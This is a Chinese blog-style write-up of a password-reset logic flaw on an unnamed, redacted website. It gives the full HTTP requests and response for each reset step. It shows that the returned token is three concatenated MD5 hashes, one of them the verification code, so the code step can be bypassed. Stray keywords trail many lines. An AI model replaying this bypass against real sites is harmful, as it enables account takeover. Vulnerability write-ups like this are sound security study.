偶然間挖了一個漏洞是密碼重置,挖掘過程頗有趣,能夠參考下。javascript
在說明以前咱們能夠先走下正常流程,這樣才方便查漏~java
第一步驟:nginx
正常填寫完,點擊下一步發送請求:json
POST /[URI] HTTP/1.1 Host: [Host] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: [Referer] Content-Length: 37 Cookie: [Cookie] X-Forwarded-For: 127.0.0.1 Connection: close userName=用戶名/手機號/郵箱&code=驗證碼
得到對應的響應報文:app
HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Content-Length: 217 Connection: close Server: nginx/1.12.2 {"code":200,"data":{"username":"用戶名" ,"mobile":"手機號","email":"郵箱","token":"3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6"},"msg":"ok"}
第二步驟:加密
獲取驗證碼->輸入驗證碼-進入第三步驟:url
輸入驗證碼進入第三步驟的請求包:spa
POST /[URI] HTTP/1.1 Host: [Host] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: [Referer] Content-Length: 133 Cookie: [Cookie] X-Forwarded-For: 127.0.0.1 Connection: close receiver=email&token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685
第三步驟重置密碼請求包:code
POST /[URI] HTTP/1.1 Host: [Host] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: [Referer] Content-Length: 133 Cookie: [Cookie] X-Forwarded-For: 127.0.0.1 Connection: close token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&pwd=mstsecsb123&checkPwd=mstsecsb123
由於這裏主要的目標是邏輯漏洞,因此其餘類型的就不做研究~regexp
1.第一步驟返回包中能獲取到的東西
名字 | 類型 |
---|---|
username | 正常 [明文] |
mobile | 打碼 [138***888] |
打碼 [123***1@..] | |
token | 正常 [加密處理過] |
這裏先給token劃上疑問>其是否能夠逆向?
這裏的token值跟md5加密很類似,可是長度不同(MD5長度爲16位/32位)
因此大膽的猜測這裏的token值多是由多個md5拼接組成
獲得token的值爲96位除以根據MD5的長度(16位/32位),得出多是由三組或者六組組成,這裏我很幸運由於我按照三組的方式解密竟然發現解密出來了,這裏先按照32位分割:
而後丟去解密:
Md5 | Text |
---|---|
3c6e0b8a9c15224a8228b9a98ca1531d | key [用戶名] |
f72f78a365657d56853b6867fb37dc3c | 6685 [時間戳] |
444bcb3a3fcf8389296c49467f27e1d6 | ok [返回消息正文 "msg":"ok"] |
結論: Token可逆向
2.根據結論分析第二步驟驗證碼是否跟token有關聯:
token=3c6e0b8a9c15224a8228b9a98ca1531df72f78a365657d56853b6867fb37dc3c444bcb3a3fcf8389296c49467f27e1d6&verifyCode=6685
結論: 直接從逆向token操做中能夠了解到二者之間是有關聯的有token就能知道重置密碼的驗證碼
3.根據結論分析第二步驟是不是必要操做:
這裏直接根據第一步驟獲取的內容帶入到第三步驟,徹底能夠成功重置密碼,發現徹底能夠繞過第二步驟的驗證。
結論: 直接把第一步返回的token帶入第三步驟便可重置密碼